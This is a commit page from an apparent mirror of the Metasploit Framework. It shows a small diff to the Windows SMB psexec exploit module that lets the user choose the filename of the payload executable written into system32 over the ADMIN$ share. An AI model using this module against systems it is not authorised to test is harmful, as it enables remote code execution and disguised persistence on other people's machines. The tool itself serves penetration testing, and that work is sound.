infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Allow user ability to set filename for psexec service binary 

This should probably be higher up for all
generate_payload_exe but would take a major edit
unstable
Rob Fuller 2013-05-07 15:26:22 -03:00
parent 3d5eb24a33
commit 71c68d09c1
1 changed files with 4 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
modules/exploits/windows/smb/psexec.rb
View File

@ -82,7 +82,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_advanced_options( register_advanced_options(
[ [
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]), OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]) OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil)
], self.class) ], self.class)
end end
@ -133,7 +134,7 @@ class Metasploit3 < Msf::Exploit::Remote
return return
end end
simple.connect("ADMIN$") simple.connect("ADMIN$")
filename = rand_text_alpha(8) + ".exe" datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
exe = generate_payload_exe exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct') fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe fd << exe
@ -152,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Disconnect from the ADMIN$ # Disconnect from the ADMIN$
simple.disconnect("ADMIN$") simple.disconnect("ADMIN$")
else else
filename = rand_text_alpha(8) + ".exe" datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8) servicename = rand_text_alpha(8)
# Upload the shellcode to a file # Upload the shellcode to a file